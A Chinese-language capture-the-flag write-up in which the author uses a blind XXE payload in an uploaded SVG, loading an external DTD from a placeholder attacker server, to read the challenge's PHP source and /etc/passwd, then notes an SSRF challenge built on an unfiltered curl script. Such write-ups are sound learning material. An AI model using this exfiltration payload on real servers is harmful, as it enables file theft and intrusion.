记一次爆0的CTF
前言
打小型CTF比赛的时候遇到的CTF题目,解析SVG图像触发XXE,比较新颖,第一次见,于是记录下
XXE
进入题目发现就是一个文件上传功能,并且题意是将SVG图像转化为PNG图像的测试站点
然后查看源代码发现了有php代码的注释
看到过滤了php://,并且有个$this->svg_contents猜测是XXE,网上能找到的比较少,大多是水文,很难受,翻了好久终于翻到类似的CTF题目
于是参考文章链接来个Blind XXE,因为页面时没有回显的,因此用Blind XXE,虽然过滤了php://,但是如果写在服务器上的xml或者dtd一样可以绕过去
payload:
<!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://vsp_ip:port/xxe.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>
服务器上的xxe.xml是这样的
BP跑一下,获得了upload_svg.php的base64编码后的源代码
解密为
<?php error_reporting(0); session_start(); require_once("config/svg_config.php"); date_default_timezone_set('PRC'); if(isset($_POST['id']) and isset($_FILES['svg']) and isset($_POST['timestamp'])){ try{ $svg_load = new svg_load($_FILES['svg']['tmp_name'],$_FILES['svg']['name'],$_POST['timestamp'],$_POST['id']); $svg_load->filter = new filter(file_get_contents($_FILES['svg']['tmp_name'])); $svg_load->action(); header("Content-Type: text/json"); echo json_encode( array( 'status' => 'success', 'contents' => "{$svg_load}" ) ); } catch(Exception $e){ die($e->getMessage()); } } ?>
修改xxe.xml读取config/svg_config.php,重新监听,BP发包
解密得到
<?php require_once('SVG.php'); require_once('filter.php'); $_SESSION['key'] = !isset($_SESSION['key']) ? md5(session_id()) : $_SESSION['key'] ; class svg_load{ private $tmp_file; private $svg_file; private $svg_image; private function save(){ return $this->filter->check($this->tmp_file) and move_uploaded_file($this->tmp_file,$this->svg_file); } private function load() { if($this->filter->check($this->svg_file) === true){ $this->svg = new svg_(file_get_contents($this->svg_file)); $this->svg_image = (string)$this->svg; }else{ $this->svg_image='null'; throw new Exception("哦,你瞧这个糟糕的内容,你在想什么呢!"); } return $this->svg_image; } public function action(){ try{ $this->save(); $this->load(); }catch(Exception $e){ $this->error = $e->getMessage(); } } public function __construct($tmp_file,$name,$timestamp,$id) { $info = pathinfo($name); if($info['extension'] === 'svg') { $this->svg_file = __DIR__."/images/svg/".base64_encode($id).'.'.$info['filename'].'.'.base64_encode($timestamp.hash('sha256',$timestamp.$_SESSION['key'])).'.svg'; $this->tmp_file = $tmp_file; }else{ $this->error = "不要总是传奇奇怪怪的文件啊"; } } public function __toString() { return !isset($this->error) ? base64_encode(!$this->svg_image ? $this->load() : $this->svg_image ) : $this->error; } public function __destruct() { unlink($this->svg_file); } }
把包含的文件都读一下
SVG.php
<?php class svg_{ private $svg_contents; private $svg_image; private function load(){ $XML = new DOMDocument(); $XML->loadXML($this->svg_contents,0x06); if($img = simplexml_import_dom($XML)) { $attr = $img->svg->attributes(); $height = (int)$attr['height'] > 850 ? 850 : (int)$attr['height']; $width = (int)$attr['width'] > 1000 ? 1000 : (int)$attr['width']; $tmp_file = '/tmp/'.sha1(md5(uniqid(microtime(true), true))); file_put_contents($tmp_file,$this->svg_contents); exec("convert -resize {$width}x{$height}! {$tmp_file} {$tmp_file}.png "); $this->svg_image = file_get_contents($tmp_file.'.png'); unlink($tmp_file.'.png'); unlink($tmp_file); }else{ $this->svg_image = false; } } public function __construct($svg_contents='') { $this->svg_contents = $svg_contents; $this->load(); } public function __toString(){ return !$this->svg_image ? 'null' : $this->svg_image; } } ?>
filter.php
<?php class filter{ public $svg_contents; public function clean(){ if(preg_match('/php:\/\//im',$this->svg_contents)){ $this->svg_contents='no!'; } } public function check($file){ $this->clean(); return hash('sha256',md5($this->svg_contents,true),true) === hash('sha256',md5_file($file,true),true); } public function __construct($contents='') { $this->svg_contents = is_string($contents) ? $contents : ''; $this->clean(); } } ?>
问题来了,找不到flag了
读了一下/etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:102::/nonexistent:/usr/sbin/nologin Debian-exim:x:102:103::/var/spool/exim4:/usr/sbin/nologin
翻不到./flag,./flag.txt,/flag /flag.txt
最后实在没翻到,心态炸了。
SSRF
源码如下:
<?php $url = $_GET['url']; if(!isset($url)){ highlight_file(__FILE__); } if(stripos($url,'file')!==False) { exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $output = curl_exec($ch); curl_close($ch); echo $output; ?>
过滤了file协议,读不了东西,没有flag.php,gopher构造http协议也打不到,一头雾水,upload目录里没有东西
然后公告上给了个hint,可以打redis,redis是弱密码。emmmm,时间到了,我也没去搞,一直在搞XXE的。掏出来之前虽然看了但是没有实践的文章
=>